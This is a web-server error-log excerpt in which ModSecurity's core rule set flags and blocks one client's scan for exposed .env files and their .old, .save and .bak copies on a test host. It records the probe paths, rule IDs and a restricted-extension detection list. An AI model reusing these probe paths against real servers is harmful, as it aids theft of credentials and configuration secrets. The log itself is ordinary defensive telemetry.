[uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lxwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.242813 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lxwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.243125 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lxwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.243341 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lxwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.765917 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lyAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.766172 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lyAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:14.766416 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3nkIRheG_olLGGo-lyAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.329036 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lyQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.329354 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lyQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.329605 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lyQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.874697 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lygAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.875011 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lygAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.875407 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lygAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:15.875696 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3n0IRheG_olLGGo-lygAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:16.489571 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3oEIRheG_olLGGo-lywAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:16.489763 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3oEIRheG_olLGGo-lywAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:16.490040 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3oEIRheG_olLGGo-lywAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:16.490269 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3oEIRheG_olLGGo-lywAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.146324 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.146618 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.147493 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.735089 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.735349 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:17.735568 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3oUIRheG_olLGGo-lzQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.319225 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.319421 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.319674 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.319914 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.966928 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.967146 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzwAAAAI&quot;], referer: https://www.google.com/
